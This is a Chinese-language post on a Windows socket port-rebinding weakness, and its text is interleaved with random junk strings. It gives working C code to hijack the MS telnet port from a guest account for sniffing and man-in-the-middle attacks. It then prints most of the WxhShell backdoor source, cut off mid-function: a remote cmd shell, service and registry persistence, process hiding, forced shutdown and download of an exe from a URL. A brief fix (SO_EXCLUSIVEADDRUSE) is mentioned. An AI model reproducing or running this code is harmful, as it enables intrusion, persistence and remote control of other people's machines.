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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oxGOn(' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Qz<v. _ dX+DE(y saddr.sin_family = AF_INET; Q@d X2 (5Cm+Sy saddr.sin_addr.s_addr = htonl(INADDR_ANY); r/{0YFa t$Qav>D bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ={z YcVI -sc@SoS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hKX-]+6" D}3E1`)W 这意味着什么?意味着可以进行如下的攻击: }r,k*I'K QV?\?9( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hP9+|am% N:&^ql4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *a$z!Ma3h \J1Jn~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [8)Zhw$ t3bN
PK^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b,SY(Ce~g C/]0jAAE7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W}T+8+RU wl9E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cT.1oaAM0 6J&L5E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xY_/CR[, rJ<v1Yb #include ,&l>^w/ #include 1lMU('r% #include '9^x"U9c #include x>Q#Bvy DWORD WINAPI ClientThread(LPVOID lpParam); 2+ 9">a@ int main() *,Y+3yM { F'`L~!F WORD wVersionRequested; d]a*)m& DWORD ret; g{a_{P WSADATA wsaData; BJ{mX>I( BOOL val; N %0F[sY6 SOCKADDR_IN saddr; 8G{} r SOCKADDR_IN scaddr; meIY00 int err; L{\B9b2 SOCKET s; $=H\#e)]Ug SOCKET sc; (<3'LhFII int caddsize; e#16,a-}o HANDLE mt; ~BZ A_w"`1 DWORD tid; AZtZa'hbkQ wVersionRequested = MAKEWORD( 2, 2 ); .;$/nz6vk err = WSAStartup( wVersionRequested, &wsaData ); j_ :4_zdBy if ( err != 0 ) { Iy`Zh@"~ printf("error!WSAStartup failed!\n"); )8LCmvQ return -1; Zkxt>%20~ } &WsDYov? saddr.sin_family = AF_INET; jQ7RH/?_ vsES` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C\EV$U, QEtZ]p1H@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zx`hutCv saddr.sin_port = htons(23); 5$zC,g*# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \Dr@n^hk@[ { lfWxdi printf("error!socket failed!\n"); *[_?4*F return -1; #x"pG } c: #1Aym val = TRUE; 9~u1fk{ //SO_REUSEADDR选项就是可以实现端口重绑定的 tJg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yQCfn1a) { =DF7l<&km printf("error!setsockopt failed!\n"); [n66ZY#U] return -1; +KD~/}C%- } 4d6F4G4U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @gs
Kb*, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sFB; /*C //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M[Ls:\1a j7O7P+DmS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #msk'MVt { i}M&1E ret=GetLastError(); PVV \@ printf("error!bind failed!\n"); i' N return -1; 13 } n; !t?jnf. listen(s,2); #nn2odR while(1) )/f,.Z$ { }4ta#T Ea caddsize = sizeof(scaddr); [\.
ho9 //接受连接请求 )S>~ h; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "1`c^ if(sc!=INVALID_SOCKET) r#^X] { [}d
3u! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ks!.$y:x if(mt==NULL) !y?g$e` { %'t~+_ printf("Thread Creat Failed!\n"); :9K5zD break; *gZ4Ub|O } .F}ZP0THnZ } 3Jk;+< CloseHandle(mt); U2+CL)al^ } QbpRSdxy`$ closesocket(s); m", $M> WSACleanup(); aoMQ_@0 return 0; b6oPnP_3P } zneK)C8&q3 DWORD WINAPI ClientThread(LPVOID lpParam) P1H`NOC { 1>l{c SOCKET ss = (SOCKET)lpParam; `<+D<x)(3 SOCKET sc; hwkol W unsigned char buf[4096]; UGr7,+N&w SOCKADDR_IN saddr; Gl}=Q7 long num; j s7J#b7 DWORD val;
:S?'6lOc( DWORD ret; y]M/oH //如果是隐藏端口应用的话,可以在此处加一些判断 E
jBEZL|_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ZK_IK)g saddr.sin_family = AF_INET; )SUT+x(DU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qFf'RgUtP saddr.sin_port = htons(23); A-.jv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [4(TG<I { rN}{v}n printf("error!socket failed!\n"); RR^I*kRH return -1; =s1"<hH}O) } $5cLhi"` val = 100; }q27M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #).om*Xh { /3rt]h" ret = GetLastError(); bIe>j*VPh@ return -1; Lj({
T'f( } ){R_o5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?$F:S%eH { K'n^,
t ret = GetLastError(); jcFh2 return -1; j[) i>Qw } ma?569Z8~0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pk(<],0]X { g:e| printf("error!socket connect failed!\n"); 42tD$S5^ closesocket(sc); #.a4}ya19 closesocket(ss); =4+UX*&i?. return -1; Z4bN|\I } <hQ@]2w$ while(1) \L6U}ZQ2V { uZ%b6+( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :3{@LOil^ //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xp._B4g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $fuFx8`2W num = recv(ss,buf,4096,0); uoaF(F- if(num>0) 8uS1HE\% send(sc,buf,num,0); NzNAhlXj3 else if(num==0) xg\M9&J break; S
#&HB num = recv(sc,buf,4096,0); @5Ril9J[b if(num>0) +;U}SR< send(ss,buf,num,0); 0xIr:aFF else if(num==0) Lm:O
vVVB break; B,|M
} IS]0 3_uQ closesocket(ss); >Mrz$
z{x closesocket(sc); $*8c0.{U return 0 ; ;^O^&< } 09%q/-$ RYS]b[-xZz JB''Ujyi ========================================================== 9v0.] c*MjBAq 下边附上一个代码,,WXhSHELL FbWkT4t| _N9yC\ ========================================================== E)H8jBm6w E=sBcb/v #include "stdafx.h" 1:q55!b !z58,hv #include <stdio.h> !0 *=z~ #include <string.h> VXR.2C #include <windows.h> ^*%p]r #include <winsock2.h>
KW^s~j #include <winsvc.h> VlXIM, #include <urlmon.h> Z]uN9c ldanM>5 #pragma comment (lib, "Ws2_32.lib") >sPu*8D40a #pragma comment (lib, "urlmon.lib") tN";o\!} B58H7NH ;G #define MAX_USER 100 // 最大客户端连接数 /Eh\07p #define BUF_SOCK 200 // sock buffer f![x7D$ #define KEY_BUFF 255 // 输入 buffer k[y{&f, z`>a,X #define REBOOT 0 // 重启 9!gmS?f #define SHUTDOWN 1 // 关机 wToz{!n \TC&/'7} #define DEF_PORT 5000 // 监听端口 XV).
cW|.a (3{'GX2c #define REG_LEN 16 // 注册表键长度 =u${2= #define SVC_LEN 80 // NT服务名长度 yTkYPx bN<c5 // 从dll定义API d7$H})[^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m$pXe< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NVeb,Pf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i+Ob1B@w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /PQg>Pa85 .eK1xwhJ // wxhshell配置信息 Qaq{UW struct WSCFG { ;=*b:y Y int ws_port; // 监听端口 )8st char ws_passstr[REG_LEN]; // 口令 zd>[uIOR int ws_autoins; // 安装标记, 1=yes 0=no ]A9Vh char ws_regname[REG_LEN]; // 注册表键名 [$8*(d"F' char ws_svcname[REG_LEN]; // 服务名 Q:>;d-D|1 char ws_svcdisp[SVC_LEN]; // 服务显示名 zP
rT0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 JWlH(-U4| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ud`V"X int ws_downexe; // 下载执行标记, 1=yes 0=no dZ`nv[]k~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" g^}X3NUn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X[h=UlF h8u(lIRHQ }; <uu1e@P
-NiFO // default Wxhshell configuration A{y3yH`#h struct WSCFG wscfg={DEF_PORT, 3vQ?vS|2 "xuhuanlingzhe", hY-;Wfg 1, |KplbU0iC "Wxhshell", H,:Cg:E/^ "Wxhshell", b;9v.MZ4>g "WxhShell Service", f ,K1 a9. "Wrsky Windows CmdShell Service", xf % ,UQ "Please Input Your Password: ", W(~G^Xu 1, tojJQ6;J " http://www.wrsky.com/wxhshell.exe", Z9~~vf# "Wxhshell.exe" V<:kS }; HR.S.(t[_ +qD4`aI // 消息定义模块 4-ZiKM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }I#;~|v~< char *msg_ws_prompt="\n\r? for help\n\r#>"; <LzN/I aJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; B/i,QBPF] char *msg_ws_ext="\n\rExit."; Q(oWaG char *msg_ws_end="\n\rQuit."; [-s0'z char *msg_ws_boot="\n\rReboot..."; RTH dL char *msg_ws_poff="\n\rShutdown..."; [^1;8Tbk char *msg_ws_down="\n\rSave to "; $M$oNOT}Y T7Lk4cU char *msg_ws_err="\n\rErr!"; K&D
-1u char *msg_ws_ok="\n\rOK!"; \P&'4y~PL EG7ki0 char ExeFile[MAX_PATH]; s/`4]B;2U int nUser = 0; k-b_
<Tbo| HANDLE handles[MAX_USER]; at6f(+ int OsIsNt; }1N)3~ `@")R- SERVICE_STATUS serviceStatus; o Ep\po1 SERVICE_STATUS_HANDLE hServiceStatusHandle; =QRLKo#_ pFGdm3pV // 函数声明 W{=>c/ int Install(void); Gv?3}8Wp int Uninstall(void); xg. d)n int DownloadFile(char *sURL, SOCKET wsh); 1a/@eqF'' int Boot(int flag); |~8iNcIS void HideProc(void); ~Jp\'P7* int GetOsVer(void); rQj.W6w= int Wxhshell(SOCKET wsl); lv&<kYWY void TalkWithClient(void *cs); vRn^n int CmdShell(SOCKET sock); ,5t.0XqS int StartFromService(void); i\}, int StartWxhshell(LPSTR lpCmdLine); 6.KR(V \hv*`ukF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YOP=gvZq VOID WINAPI NTServiceHandler( DWORD fdwControl ); i. `S0 + 5sTGNG // 数据结构和表定义 8l+\Qyj SERVICE_TABLE_ENTRY DispatchTable[] = jVi''#F?f { UMx>n18;f9 {wscfg.ws_svcname, NTServiceMain}, Zo-s_6uC {NULL, NULL} I&Yu=v/_ }; 3::DURkjf !_l W#feR // 自我安装 ]c[80F- int Install(void) O'$0K0k3 { g2 :^Z== char svExeFile[MAX_PATH]; ^[\F uSL HKEY key; /_26D0}UuF strcpy(svExeFile,ExeFile); Eq~&d.j Y]B2-wt- // 如果是win9x系统,修改注册表设为自启动 m`4Sp#m if(!OsIsNt) { +)L
'qbCSM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oKA8)~Xqou RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HQQc<7c", RegCloseKey(key); j9x}D;?n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5c3)p^]g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C1r]kF RegCloseKey(key); v(h
return 0; *oZBv4Vh } _d %H;<_ } lwQI
9U[O2 } nCGLuZn else { 4SY]Q[ #RlI([f|& // 如果是NT以上系统,安装为系统服务 G/N'8Q) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5s;HF |2x if (schSCManager!=0) RUYwDtC { .OX.z~":y SC_HANDLE schService = CreateService B~caHG1b ( z)]_ (zZ^ schSCManager, 7=Ew[MOmM wscfg.ws_svcname, S=eY`,'#R wscfg.ws_svcdisp, ~Q>97% SERVICE_ALL_ACCESS, $@}6P,mg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !yG{`#NZZ SERVICE_AUTO_START, )z2Tm4>iql SERVICE_ERROR_NORMAL, \96?OCdr svExeFile, D0lgKQ NULL, `:-{8Vo7 NULL, d_1w
9FA NULL, EoIP#Cnd1 NULL, "Z& { NULL 6b6}HO ); Q$iv27 if (schService!=0) )O#>ONm^ { ,DXNq`24 CloseServiceHandle(schService); &>*fJ CloseServiceHandle(schSCManager); wu/]M~XwI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |9~{&<^X strcat(svExeFile,wscfg.ws_svcname); F1w~f
< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
jiC;*]n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); daGGgSbh RegCloseKey(key); C8-4 m68" return 0; kNd[M =% } \m*?5]m; } P7 H-Dw CloseServiceHandle(schSCManager); jxZR%D } st+X~;PX* } )$#ov-] ;jo,&C return 1; `:}GE@] } |A8xy# 4F??9o8 } // 自我卸载 7'J}|m{7 int Uninstall(void) 1Xu\Tm\Ux { Y3mATw 3Wh HKEY key; ~Q0jz/#c
6f\0YU<C& if(!OsIsNt) { CJ
{?9z@$. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :PY~Cws RegDeleteValue(key,wscfg.ws_regname); qyP@[8eH RegCloseKey(key); TStu)6%` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TsfOod RegDeleteValue(key,wscfg.ws_regname); P%ev8]2 RegCloseKey(key); #J\
2/~ return 0; ++5W_Ooep } \3O#H } =V/$&96Q } : \:jIP else { O<)"kj 7 Z>wg
o@z% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <6Y o%xt if (schSCManager!=0) ppM d { fY}e.lD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PHyS^J` if (schService!=0) % )i?\(/ { p*-o33Ve if(DeleteService(schService)!=0) { T,TKt% CloseServiceHandle(schService); r[Qk-}@vp CloseServiceHandle(schSCManager); 13'tsM& return 0; kbI:}b7H } n-#?6`>a CloseServiceHandle(schService); vMRM/. } Hh(_sewo CloseServiceHandle(schSCManager); ]O,!B''8k } y4/>3tz; } 5Q?7 xTQ )^|zuYzN return 1; ]mn(lK } 0"ZB|^c= kgEGL]G> // 从指定url下载文件 G!ty@
Fx int DownloadFile(char *sURL, SOCKET wsh) Vx~[;*{,C9 { #?@k=e\ HRESULT hr; ZcYxH|Gn char seps[]= "/"; i
jg'X#E char *token; $83TA><a char *file; ']Nw{}eS` char myURL[MAX_PATH]; v< xe(dC char myFILE[MAX_PATH]; j;=+5PY MV-fDqA( strcpy(myURL,sURL); 3G~ T_J& token=strtok(myURL,seps); B;SYO>.W while(token!=NULL) PxM]3Aoa { Gm}ecW file=token; LrX7WI token=strtok(NULL,seps); %i]q} M } JcvWE
$ %t([ GetCurrentDirectory(MAX_PATH,myFILE); R.Ao%VT strcat(myFILE, "\\"); 8*V3g_z strcat(myFILE, file); :5L9tNr{_ send(wsh,myFILE,strlen(myFILE),0); NJ/6_e send(wsh,"...",3,0); R Q X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nBgksB*A if(hr==S_OK) ?}D@{%O3T return 0; )Jz L else g7EJyA return 1; pUZbZ
U GO.mT/rB } O'Lgb9 Q0Y0Zt,h // 系统电源模块 wcspqC" _ int Boot(int flag) c*'D { po}Jwx! HANDLE hToken; HpiP"Sl TOKEN_PRIVILEGES tkp; C:"Al- /[#<@o if(OsIsNt) { 7{
(t_N> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,P3nZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @SF*Kvb& tkp.PrivilegeCount = 1; 4yV}4f$q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AMp[f%X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v/
dSz/<] if(flag==REBOOT) { :rnn`/L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ryy".'v return 0; :EJ+# } Psij*%I4 else { h\Ck""& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?lKFcm return 0; U;<07
aMj } 3WZ]9v{k } EJ;:O1,6H else { 5`53lK.C if(flag==REBOOT) { X-|Lg.s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /XEUJC4 return 0; h$)+$^YI } K9\`Wu_qL else { ne4j_!V{Mf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8%S5Fc#am return 0; tY-{uHW&h } &> tmzlww } 8
;y N +Em+W#i%? return 1; vn}:$|r$J } l`G .lM( 7E*d>:5I // win9x进程隐藏模块 ujGvrYj void HideProc(void) 81u}J9z; { p^_2]%,QeM y, @I6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?xu5/r< if ( hKernel != NULL ) DF|(CQs9 { -.~Dhk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x9)^0Hbo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $-H#M]Gq FreeLibrary(hKernel); vY&[=2= } 78&jaw*1A {s&6C- return; AC;ja$A# } <)ozbv Xk
3=@94i // 获取操作系统版本 5TqB&GP0 int GetOsVer(void) :QT0[P5O { H,bYzWsrPo OSVERSIONINFO winfo; } QVREj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G9J+D?'hH GetVersionEx(&winfo); Sz|;wsF{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xPoI+, return 1; $Zf hQ5bat else :_E=&4&g return 0; =:OS"qD3l } s4uZ; `1aEV#; // 客户端句柄模块 @2ZE8O#I int Wxhshell(SOCKET wsl) lcR53X { Q^}6GS$ SOCKET wsh; 9aky+ struct sockaddr_in client; ltRvNXx+] DWORD myID; [(Ss^?AJW W'WZ@!! while(nUser<MAX_USER) ^t,sehpR:l { GY@(%^ int nSize=sizeof(client); !8S$tk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zXWf($^&E if(wsh==INVALID_SOCKET) return 1; 5xKo(XNp w-9M{Es+j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gxx:<`[ON if(handles[nUser]==0) ^GMM% closesocket(wsh); `IL''eJug_ else \@8j&],dl nUser++; 8D7=] } ',`GdfAsH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y~@@{zP d;1%Ei3K return 0; z2p@d1 } Al&)8x{p &}%rZU // 关闭 socket =w&JDj void CloseIt(SOCKET wsh) M{M>$pt { !@j5 yYf closesocket(wsh); w$%d"Jm#X nUser--; g*]Gc% ExitThread(0); }Jfi"L } X.TsOoy N0TEVDsk // 客户端请求句柄 (0Buo#I void TalkWithClient(void *cs) )1f8
H,q^ { q {v?2v{ h^QicvZ SOCKET wsh=(SOCKET)cs; IjJO; char pwd[SVC_LEN]; x
xMV2&,Jq char cmd[KEY_BUFF]; t*X
k'(v char chr[1]; B^Z %38o int i,j; V}de|= 5>{ while (nUser < MAX_USER) { cZ>h [XX[ o9&&u1`M/ if(wscfg.ws_passstr) { hes$LH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~m4{GzB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^=kUNyY //ZeroMemory(pwd,KEY_BUFF); HjG!pO{ i=0; l!UF`C0g while(i<SVC_LEN) { \Nd8,hE ;#c=0*. // 设置超时 OX|nYTp fd_set FdRead; L O)&|9xw struct timeval TimeOut; <i}lP/U FD_ZERO(&FdRead); 0Bbno9Yp FD_SET(wsh,&FdRead); 6%N.'wf TimeOut.tv_sec=8; Lckb*/jV& TimeOut.tv_usec=0; |j3fS[.$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k4WUfL d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L{XNOf3 rO#WG}E<" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ="X2AuK%1$ pwd =chr[0]; Z*,Nt6;e if(chr[0]==0xd || chr[0]==0xa) { MBlhlMyI pwd=0; ME'hN->c break; w=]id'`?q } yffg_^fR i++; @0js=3!2 } 19V H\W/;Nn // 如果是非法用户,关闭 socket 9UF^h{X if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %=C49(/K_ } e6O +hC]: !yxb=>A send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k;aV4
0N9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ++b1VBP +-8S,Rg@ while(1) { /"$A?}V ?"23X Ke ZeroMemory(cmd,KEY_BUFF); +
Xc s<+b
VG,O+I'^z // 自动支持客户端 telnet标准 |Dz$OZP j=0; u7L!&/ 6On while(j<KEY_BUFF) { >\J({/ #O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % Q| >t~ cmd[j]=chr[0]; o{C7V* if(chr[0]==0xa || chr[0]==0xd) { $_bhZnYp7 cmd[j]=0; /da5" break; ?f}lYQzM } POZ5W)F( j++; W ='c+3O6 }
;S,k
U{F {& Pk$Q! // 下载文件 #ZFedK0vv if(strstr(cmd,"http://")) { ]I
pLF# send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y`secUg if(DownloadFile(cmd,wsh)) 3}U {~l!K send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ks3K-.4 else #2&DDy)Bf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M}jF-z } f8Z[prfP else { V_)G=#6Dy (+M]C] switch(cmd[0]) { >j&+mii _tl // 帮助 6I5,PB case '?': { H83Gx; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *OoM[wEY break; \U(;%V } .Oh4b5 // 安装 Etv!:\\[ case 'i': { B;[ai?@c(_ if(Install()) '{e9Vh<x send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16;r+.FB' else n2e#rn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cM'\u~m{ break; {xW HKsI>, } `,-w+3?Al // 卸载 BYhF? case 'r': { ao+lLCr if(Uninstall()) !&8nwOG send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~p)@[q else 25:[VH$:4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4
:UJj} break; )9oF?l^q } ]6:|-x:m // 显示 wxhshell 所在路径 lfle7; case 'p': { )qyJwN
.D char svExeFile[MAX_PATH]; +JDQ`Qk strcpy(svExeFile,"\n\r"); X`,=tM strcat(svExeFile,ExeFile); A }(V2 send(wsh,svExeFile,strlen(svExeFile),0); blUnAu
o~ break; o8PK,!Pl } T/m4jf2 // 重启 Z4&,KrV case 'b': { u
ZzO$e send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H K]-QTEn if(Boot(REBOOT)) F!N D send(wsh,msg_ws_err,strlen(msg_ws_err),0); CrvL[6i else { 6"OwrJB closesocket(wsh); \B72 #NR ExitThread(0); iZ^tLnc } lKtA.{( break; 1KHFzx, } \3WF-!xe // 关机 .el&\Jt case 'd': { ()Tl\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *-.{->#Y if(Boot(SHUTDOWN)) ||xiKg send(wsh,msg_ws_err,strlen(msg_ws_err),0); C[4{\3\Va else { SC Qr/Q closesocket(wsh); -VC
kk ExitThread(0); -l:4I6-hi } _S$SL%;\ break; xJ&E2Bf } RWX?B // 获取shell FZk=-.Hk case 's': { %ZKP d8 CmdShell(wsh); ?QJS6i'k closesocket(wsh); hggP9I:s, ExitThread(0); zp4aiMn1F break; q=, } ,$H[DX // 退出 ;?q>F3n case 'x': { .eNeqC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pW
y+oZ CloseIt(wsh); tz6N,4J? break; tPQjjoh } I`% ]1{ // 离开 006qj. case 'q': { 6bE~m<B\` send(wsh,msg_ws_end,strlen(msg_ws_end),0); EuJ_UxkG closesocket(wsh); 8LPvb#9= WSACleanup(); c[E" exit(1); 6_&uYA<8pE break; VB}4#-dG? } y
E;n.L } tCF,KP? } w%3*T#tp &E/0jxM1 // 提示信息 4qYT if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U8>M`e"D } 'joc8o sS } @5=2+ M ZUA%ZkX=F return; ]%Db %A } :`Z'vRj m9Pzy^g1 // shell模块句柄 ='[J. int CmdShell(SOCKET sock) \nzaF4+$ { Gg,&~
jHib STARTUPINFO si; mw!EDJ;' ZeroMemory(&si,sizeof(si)); c}-WK*v si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EqYBT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vm"{m/K0 PROCESS_INFORMATION ProcessInfo; `mt x+C char cmdline[]="cmd"; I{8sLzA03S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _rN1(=J return 0; <N~&Leh } -W\1n#J &{R]v/{p] // 自身启动模式 SK]"JSY` int StartFromService(void) #}lq2!f6 { !vY5X2?tr, typedef struct &tjv.t { 4b@Awtk DWORD ExitStatus; O: J;zv\ DWORD PebBaseAddress; Cqra\ DWORD AffinityMask; @p\te7(P% DWORD BasePriority; 5*#3v:l/9 ULONG UniqueProcessId; +lNAog ULONG InheritedFromUniqueProcessId; "J=A(w5 } PROCESS_BASIC_INFORMATION; U4.-{. Kqn{q4L PROCNTQSIP NtQueryInformationProcess; -qDM(zR RAs5<US: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c_N'S_)~7Q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;;]^d_ QcN$TxU > HANDLE hProcess; U#mrbW PROCESS_BASIC_INFORMATION pbi; 2@jlF!zC M&h`uO/[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DxvD 1u if(NULL == hInst ) return 0; <uf,@N5m hLo>jE
